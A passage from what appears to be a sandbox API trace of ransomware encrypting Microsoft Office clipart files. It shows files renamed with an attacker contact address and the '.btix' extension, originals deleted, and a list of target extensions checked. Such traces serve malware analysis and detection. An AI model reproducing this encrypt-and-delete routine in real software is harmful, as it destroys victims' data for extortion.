Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.403] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.403] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.404] GetLastError () returned 0x0 [0150.404] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xcd2, lpOverlapped=0x0) returned 1 [0150.404] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xce0, lpOverlapped=0x0) returned 1 [0150.405] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.405] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.405] SetEndOfFile (hFile=0x388) returned 1 [0150.406] CloseHandle (hObject=0x388) returned 1 [0150.406] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.406] SetEndOfFile (hFile=0x384) returned 1 [0150.406] CloseHandle (hObject=0x384) returned 1 [0150.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.407] lstrlenW (lpString=".doc") returned 4 [0150.407] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.407] lstrlenW (lpString=".docx") returned 5 [0150.407] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0150.407] lstrlenW (lpString=".pdf") returned 4 [0150.407] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.407] lstrlenW (lpString=".xls") returned 4 [0150.407] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.407] lstrlenW (lpString=".xlsx") returned 5 [0150.407] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0150.407] lstrlenW (lpString=".ppt") returned 4 [0150.407] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.407] lstrlenW (lpString=".zip") returned 4 [0150.407] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.407] lstrlenW (lpString=".rar") returned 4 [0150.407] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.407] lstrlenW (lpString=".bz2") returned 4 [0150.407] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.407] lstrlenW (lpString=".7z") returned 3 [0150.407] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.408] lstrlenW (lpString=".dbf") returned 4 [0150.408] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.408] lstrlenW (lpString=".1cd") returned 4 [0150.408] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.408] lstrlenW (lpString=".jpg") returned 4 [0150.408] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.408] lstrlenW (lpString=".doc") returned 4 [0150.408] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.408] lstrlenW (lpString=".docx") returned 5 [0150.408] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0150.408] lstrlenW (lpString=".pdf") returned 4 [0150.408] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.408] lstrlenW (lpString=".xls") returned 4 [0150.408] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.408] lstrlenW (lpString=".xlsx") returned 5 [0150.408] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0150.408] lstrlenW (lpString=".ppt") returned 4 [0150.408] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.408] lstrlenW (lpString=".zip") returned 4 [0150.408] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.408] lstrlenW (lpString=".rar") returned 4 [0150.408] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.408] lstrlenW (lpString=".bz2") returned 4 [0150.409] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.409] lstrlenW (lpString=".7z") returned 3 [0150.409] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.409] lstrlenW (lpString=".dbf") returned 4 [0150.409] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.409] lstrlenW (lpString=".1cd") returned 4 [0150.409] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0150.409] lstrlenW (lpString=".jpg") returned 4 [0150.409] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.409] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0150.409] lstrlenW (lpString="J0099186.JPG") returned 12 [0150.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.409] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=16738) returned 1 [0150.409] CloseHandle (hObject=0x384) returned 1 [0150.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220 [0150.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.410] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.410] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.410] GetLastError () returned 0x0 [0150.410] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4162, lpOverlapped=0x0) returned 1 [0150.789] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4170, lpOverlapped=0x0) returned 1 [0151.160] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.160] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.160] SetEndOfFile (hFile=0x388) returned 1 [0151.161] CloseHandle (hObject=0x388) returned 1 [0151.161] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.161] SetEndOfFile (hFile=0x384) returned 1 [0151.161] CloseHandle (hObject=0x384) returned 1 [0151.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0151.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.162] lstrlenW (lpString=".doc") returned 4 [0151.162] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0151.162] lstrlenW (lpString=".docx") returned 5 [0151.162] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0151.162] lstrlenW (lpString=".pdf") returned 4 [0151.162] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0151.162] lstrlenW (lpString=".xls") returned 4 [0151.162] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0151.162] lstrlenW (lpString=".xlsx") returned 5 [0151.162] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0151.162] lstrlenW (lpString=".ppt") returned 4 [0151.162] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0151.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.162] lstrlenW (lpString=".zip") returned 4 [0151.162] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0151.162] lstrlenW (lpString=".rar") returned 4 [0151.162] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0151.162] lstrlenW (lpString=".bz2") returned 4 [0151.163] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0151.163] lstrlenW (lpString=".7z") returned 3 [0151.163] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0151.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.163] lstrlenW (lpString=".dbf") returned 4 [0151.163] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0151.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.163] lstrlenW (lpString=".1cd") returned 4 [0151.163] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0151.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.163] lstrlenW (lpString=".jpg") returned 4 [0151.163] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0151.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.163] lstrlenW (lpString=".doc") returned 4 [0151.163] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0151.163] lstrlenW (lpString=".docx") returned 5 [0151.163] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0151.163] lstrlenW (lpString=".pdf") returned 4 [0151.163] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0151.163] lstrlenW (lpString=".xls") returned 4 [0151.164] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0151.164] lstrlenW (lpString=".xlsx") returned 5 [0151.164] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0151.164] lstrlenW (lpString=".ppt") returned 4 [0151.164] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0151.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.164] lstrlenW (lpString=".zip") returned 4 [0151.164] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0151.164] lstrlenW (lpString=".rar") returned 4 [0151.164] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0151.164] lstrlenW (lpString=".bz2") returned 4 [0151.164] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0151.164] lstrlenW (lpString=".7z") returned 3 [0151.164] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0151.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.164] lstrlenW (lpString=".dbf") returned 4 [0151.164] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0151.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.164] lstrlenW (lpString=".1cd") returned 4 [0151.164] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0151.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0151.164] lstrlenW (lpString=".jpg") returned 4 [0151.164] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0151.164] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.164] lstrlenW (lpString="J0101864.BMP") returned 12 [0151.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.165] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=31968) returned 1 [0151.165] CloseHandle (hObject=0x384) returned 1 [0151.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0151.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.165] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.165] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0151.166] GetLastError () returned 0x0 [0151.166] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0151.167] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0151.168] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.168] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.168] SetEndOfFile (hFile=0x388) returned 1 [0151.168] CloseHandle (hObject=0x388) returned 1 [0151.168] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.168] SetEndOfFile (hFile=0x384) returned 1 [0151.169] CloseHandle (hObject=0x384) returned 1 [0151.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0151.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.170] lstrlenW (lpString=".doc") returned 4 [0151.170] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.170] lstrlenW (lpString=".docx") returned 5 [0151.170] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0151.170] lstrlenW (lpString=".pdf") returned 4 [0151.170] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.170] lstrlenW (lpString=".xls") returned 4 [0151.170] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.170] lstrlenW (lpString=".xlsx") returned 5 [0151.170] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0151.170] lstrlenW (lpString=".ppt") returned 4 [0151.170] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.170] lstrlenW (lpString=".zip") returned 4 [0151.170] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.170] lstrlenW (lpString=".rar") returned 4 [0151.170] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.170] lstrlenW (lpString=".bz2") returned 4 [0151.170] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.170] lstrlenW (lpString=".7z") returned 3 [0151.170] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.170] lstrlenW (lpString=".dbf") returned 4 [0151.170] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.170] lstrlenW (lpString=".1cd") returned 4 [0151.170] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.170] lstrlenW (lpString=".jpg") returned 4 [0151.170] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.171] lstrlenW (lpString=".doc") returned 4 [0151.171] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString=".docx") returned 5 [0151.171] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0151.171] lstrlenW (lpString=".pdf") returned 4 [0151.171] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString=".xls") returned 4 [0151.171] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString=".xlsx") returned 5 [0151.171] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0151.171] lstrlenW (lpString=".ppt") returned 4 [0151.171] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.171] lstrlenW (lpString=".zip") returned 4 [0151.171] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString=".rar") returned 4 [0151.171] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString=".bz2") returned 4 [0151.171] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString=".7z") returned 3 [0151.171] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.171] lstrlenW (lpString=".dbf") returned 4 [0151.171] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.171] lstrlenW (lpString=".1cd") returned 4 [0151.171] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0151.171] lstrlenW (lpString=".jpg") returned 4 [0151.172] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.172] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.172] lstrlenW (lpString="J0101865.BMP") returned 12 [0151.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.172] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=32184) returned 1 [0151.172] CloseHandle (hObject=0x384) returned 1 [0151.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0151.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.172] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.172] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 